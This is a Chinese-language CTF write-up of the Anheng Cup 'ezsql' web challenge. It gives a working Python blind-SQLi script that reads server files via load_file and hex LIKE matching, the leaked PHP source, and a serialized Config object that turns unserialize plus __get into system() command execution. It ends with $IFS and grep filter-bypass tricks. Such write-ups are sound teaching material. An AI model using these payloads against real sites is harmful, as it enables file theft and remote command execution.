1. 程式人生 > >安恆杯11月月賽web題目-ezsql詳細記錄

安恆杯11月月賽web題目-ezsql詳細記錄

  通過此題目可以學習到

  1.通過load_file+like來盲注獲取檔案內容

  2.php魔術方法__get函式的用法

  3.bypass  linux命令過濾

  

  題目中給了註冊和登入的功能,沒有原始碼洩露

  

  先註冊一個使用者看下進入使用者介面有什麼其他的功能,此時題目中除了顯示使用者名稱和id號以外沒有其他的功能,那麼目的很明確,應該是sql注入題目,嘗試了select,被過濾,單引號被過濾,因此嘗試if條件返回正常,但是沒有select意味著不能從資料庫中讀取資訊,那麼除了讀取資料庫中的資訊,mysql也支援load_dile函式來讀取任意的檔案,只是這裡沒有單引號,所以需要我們將檔名以16進位制編碼的形式來表示,並且我們可以使用like來進行模糊查詢來fuzzing出文件的內容的16進製表示。

   

  

  我們可以先將要讀取的檔案進行16進位制編碼表示,比如讀取/var/www/html/index.php 那麼指令碼如下:

 1 #coding:utf-8
 2 import requests
 3 import string
 4 payload=string.printable
 5 payload=list(payload)
 6 file =""
 7 db = ""
 8 while True:
 9     n = 1
10     end = len(payload)
11     #print end
12     for i in payload:
13 req = requests.session() 14 header = { 15 "Cookie":"__guid=206886163.707362614897664800.1543048794439.3918;PHPSESSID=4e6p8mktq1b5p84jnndsvqv166" 16 } 17 exp= "if(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))like(0x{temp}25),1,2)" 18 url = "
http://101.71.29.5:10015/user/user.php?id="+exp 19 i = i.encode("hex") 20 url = url.format(temp=db+i) 21 res = req.get(url=url,headers=header) 22 #print res.status_code 23 if "user_id:1" in res.text: 24 print url 25 db = db + i 26 file = file + i.decode("hex") 27 print file 28 break 29 n = n + 1 30 if n == end: 31 print db 32 exit(0)

  

 

因為又包含了config/config.php,所以利用同樣的方法來讀取/var/www/html/config/config.php,只需要將指令碼中的load_file的引數換為這個檔案的16進位制編碼即可,將跑出來的16進位制線上解碼就可以得到原始碼了:

 

得到原始碼以後我們可以審計一下原始碼看看裡面是否存在漏洞:

其中的/var/www/html/config/config.php中的內容對應的 16進製為

3C3F7068700A24636F6E666967203D20756E73657269616C697A65286261736536345F6465636F64652824636F6E66696729293B0A696628697373657428245F4745545B2770275D29297B0A2020202024703D245F4745545B2770275D3B0A2020202024636F6E6669672D3E24703B0A7D0A636C61737320436F6E6669677B0A20202020707269766174652024636F6E6669673B0A20202020707269766174652024706174683B0A202020207075626C6963202466696C7465723B0A202020207075626C69632066756E6374696F6E205F5F636F6E7374727563742824636F6E6669673D2222297B0A202020202020202024746869732D3E636F6E666967203D2024636F6E6669673B0A20202020202020206563686F203132333B0A202020207D0A202020207075626C69632066756E6374696F6E20676574436F6E66696728297B0A202020202020202069662824746869732D3E636F6E666967203D3D202222297B0A20202020202020202020202024636F6E666967203D20697373657428245F504F53545B27636F6E666967275D293F245F504F53545B27636F6E666967275D3A22223B0A20202020202020207D0A202020207D0A202020207075626C69632066756E6374696F6E2053657446696C746572282476616C7565297B0A2F2F20202020202020206563686F202476616C75653B0A092476616C75653D7761665F65786563282476616C7565293B200A20202020202020207661725F64756D70282476616C7565293B0A0969662824746869732D3E66696C746572297B0A202020202020202020202020666F72656163682824746869732D3E66696C746572206173202466696C746572297B0A0A202020202020202020202020202020200A20202020202020202020202020202020246172726179203D2069735F6172726179282476616C7565293F61727261795F6D6170282466696C7465722C2476616C7565293A63616C6C5F757365725F66756E63282466696C7465722C2476616C7565293B0A2020202020202020202020207D0A20202020202020202020202024746869732D3E66696C746572203D20617272617928293B0A20202020202020207D656C73657B0A20202020202020202020202072657475726E2066616C73653B0A20202020202020207D0A202020202020202072657475726E20747275653B0A202020207D0A202020207075626C6963206674696F6E205F5F67657428246B6579297B0A20202020202020202F2F7661725F64756D7028246B6579293B0A0924746869732D3E53657446696C74657228246B6579293B0A2020202020202020646965282222293B0A202020207D0A7D0A

線上解碼可得原始碼

 

 

完整程式碼如下:

 1 <?php
 2 $config = unserialize(base64_decode($config));
 3 if(isset($_GET['p'])){
 4     $p=$_GET['p'];
 5     $config->$p;
 6 }
 7 class Config{
 8     private $config;
 9     private $path;
10     public $filter;
11     public function __construct($config=""){
12         $this->config = $config;
13         echo 123;
14     }
15     public function getConfig(){
16         if($this->config == ""){
17             $config = isset($_POST['config'])?$_POST['config']:"";
18         }
19     }
20     public function SetFilter($value){
21 //        echo $value;
22         $value=waf_exec($value); 
23         var_dump($value);
24         if($this->filter){
25             foreach($this->filter as $filter){
26                 $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
27             }
28             $this->filter = array();
29         }else{
30             return false;
31         }
32         return true;
33     }
34     public function __get($key){
35         //var_dump($key);
36     $this->SetFilter($key);
37         die("");
38     }
39 }
40 
41 ?>

 分析一下這一段程式碼,首先因為index.php中Cookie變數中的CONFIG變數是我們可以控制的,那麼跟蹤CONFIG變數,可以發現執行了解序列化的操作,那麼並且還存在可以控制的$p變數,並且在解序列化了以後會訪問$p變數對應的屬性,這個屬性是任意的。

又因為在程式碼中定義了__get()魔術函式,這個函式的作用如下:

可以看到__get方法將可以用來訪問私有成員屬性,並且當我們訪問一個不存在的屬性的時候也將呼叫這個__get函式,所以這裡是關鍵點,那麼我們可以傳給$p變數任何值,都會觸發__get()函式

在__get函式中,又將會對傳入的屬性名字呼叫set_filter函式,跟蹤一下,首先會對該$p值進行一個過濾,然後判斷屬性屬性fliter是否存在,若存在將遍歷filter變數,如果$p值為陣列則呼叫array_map函式,否則呼叫call_user_func函式,這兩個函式都能夠呼叫我們逍遙呼叫的任意的函式,即存在RCE,我們可以控制$filter的值為命令執行的函式,可以控制$p值為想要執行的命令,就可以執行任意命令了。

所以我們執行如下payload:

 1 <?php
 2 class Config{
 3     private $config;
 4     private $path;
 5     public $filter;
 6     public function __construct($config=""){
 7         $this->config = $config;
 8     }
 9     public function getConfig(){
10         if($this->config == ""){
11             $config = isset($_POST['config'])?$_POST['config']:"";
12         }
13     }
14     public function SetFilter($value){
15 //        echo $value;
16         $value=waf_exec($value); 
17         var_dump($value);
18         if($this->filter){
19             foreach($this->filter as $filter){
20                 $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
21             }
22             $this->filter = array();
23         }else{
24             return false;
25         }
26         return true;
27     }
28     public function __get($key){
29         //var_dump($key);
30     $this->SetFilter($key);
31         die("");
32     }
33 }
34 $tr1ple = new Config();
35 $tr1ple->filter = array('system');
36 echo base64_encode(serialize($tr1ple));
37 ?>

通過例項化Config類,並且給filter賦值為我們想要執行的函式,輸出得到,並在burp中將其賦值給Cookie中的CONFIG變數即可:

Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

此時可以看到當前目錄下存在flag2333檔案,在嘗試cat,ls *後發現cat被過濾了,空格也被過濾了,那麼可以使用$IFS來替代空格,此時可以看到flag.php在flag2333資料夾下面

 

ls$../以後發現/也被過濾了,那麼就沒有辦法進入到flag2333檔案夾了,那麼如何得到flag,可以使用grep -ir “flag” *

 

 

*表示當前目錄,也就是我們的html目錄下的所有檔案,我們匹配flag字串,即可獲得flag。